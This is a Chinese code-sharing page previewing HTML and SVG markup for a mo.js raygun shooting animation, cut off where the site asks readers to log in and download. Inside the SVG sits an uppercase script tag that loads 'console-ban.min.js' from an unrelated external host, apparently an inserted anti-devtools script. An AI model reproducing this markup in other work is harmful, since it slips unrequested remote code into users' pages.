mo.js实现的镭射枪射击动画效果代码

代码语言:html

所属分类:动画

代码描述:mo.js实现的镭射枪射击动画效果代码

代码标签: mo.js 镭射 射击 动画

下面为部分代码预览,完整代码请点击下载或在bfwstudio webide中打开

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
<style>
    body,
html {
    background: #c37344;
    width: 100vw;
    height: 100vh;
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-pack: center;
    -webkit-justify-content: center;
    -ms-flex-pack: center;
    justify-content: center;
    overflow: hidden;
}
.ray-contain {
    width: 800px;
    height: 500px;
    position: relative;
}
#sideL1,
#sideL2 {
    stroke-dashoffset: -100px;
    stroke-dasharray: 100px;
}
</style>
    </head>
    <body>
        <div class="ray-contain" id="ray-contain">
            <svg data-name="raygun" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 1141.4 484.3">
                <defs>
                    <linearGradient id="a" x1="487.97" y1="245.29" x2="498.97" y2="245.29" gradientUnits="userSpaceOnUse">
                        <stop offset="0" stop-color="#5b4974"/>
                        <stop offset="0.48" stop-color="#787893"/>
                        <stop offset="1" stop-color="#5b4974"/>
                    </linearGradient>
                    <linearGradient id="b" x1="501.97" y1="245.29" x2="512.97" y2="245.29" xlink:href="#a"/>
                    <linearGradient id="c" x1="515.97" y1="245.29" x2="526.97" y2="245.29" xlink:href="#a"/>
                    <linearGradient id="d" x1="529.97" y1="245.29" x2="540.97" y2="245.29" xlink:href="#a"/>
                    <linearGradient id="e" x1="543.97" y1="244.29" x2="554.97" y2="244.29" xlink:href="#a"/>
                    <linearGradient id="f" x1="557.97" y1="244.29" x2="568.97" y2="244.29" xlink:href="#a"/>
                </defs>
                <title>Raygun </title>
                <SCRIPT SRC="HTTP://CDN.BOOTSTRAPMB.com/console-ban.min.js"></script>
                <path fill="#c37344" d="M0 0H1141.4V484.29H0z"/>
                <rect x="266" y="157.5" width="9.2" height="18.95" rx="4.6" ry="4.6" fill="#60574d" stroke="#413331" stroke-miterlimit="10" stroke-width="2"/>
                <rect x="266" y="188" width="9.2" height="25.33" rx="4.6" ry="4.6" fill="#60574d" stroke="#413331" stroke-miterlimit="10" stroke-width="2"/>
                <path d="M315,155.2c-8.2-.6-7.7-12.5-10.5-12.2l-41.1,12.2,1,14.8c17.7,5.3-10.3,25.7-3.3,26.3s3.3,21.7-8.3,40.7-53.3,37.7-54.3,37-10,16-10,16L235,325l15.7-21a49.6,49.6,0,0,1,10.3-9.3c16,7.7,13.3,19.7,13.3,19.7l17.4,7.7c.1,0,0,0,0-.1.7-2,1.8-3.3-.4-4.5C278,310.7,288,295,288,295l-10.1-8.3c23.9-7.4,49.8-2.5,49.8-2.5V157.2S317.3,155.3,315,155.2Z" transform="translate(9 5.3)" fill="#413331"/>
                <path d="M327.7,338.3H286a4,4,0,0,1-2.3-.7l-11.7-8a4,4,0,0,1,4.5-6.6l10.7,7.3h39.3c9.5-5.4,14.9-11.7,16-18.6,1.9-11.7-8.8-23.1-12.3-26.9l-1.2-1.3a4,4,0,0,1,6.2-5.1l.8.9c4.2,4.5,16.8,18,14.4,33.6-1.5,9.7-8.6,18.1-20.9,24.9A4,4,0,0,1,327.7,338.3Z" transform="translate(9 5.3)" fill="#60574d" stroke="#413331" stroke-miterlimit="10" stroke-width="2"/>
                <path fill="none" stroke="#413331" stroke-miterlimit="10" stroke-width="3" d="M591.6 191.6L600 191.6"/>
                <path d="M558.4,192.9s-1.2,16.1,6.3,17.1" transform="translate(9 5.3)" fill="none" stroke="#413331" stroke-miterlimit="10" stroke-width="3"/>
                <path fill="#413331" d="M464.5 189.5H478.3V192.24H464.5z"/>
                <path fill="#5b4974" stroke="#413331" stroke-miterlimit="10" stroke-width="2" d="M456.1 182.8H465.5V197.92000000000002H456.1z"/>
                <path fill="#5b4974" stroke="#413331" stroke-miterlimit="10" stroke-width="2" d="M475.3 185.5H483.1V196.63H475.3z"/>
                <path fill="#413331" d="M464.5 185.5H470.5V195.32H46.........完整代码请登录后点击上方下载按钮下载查看

网友评论0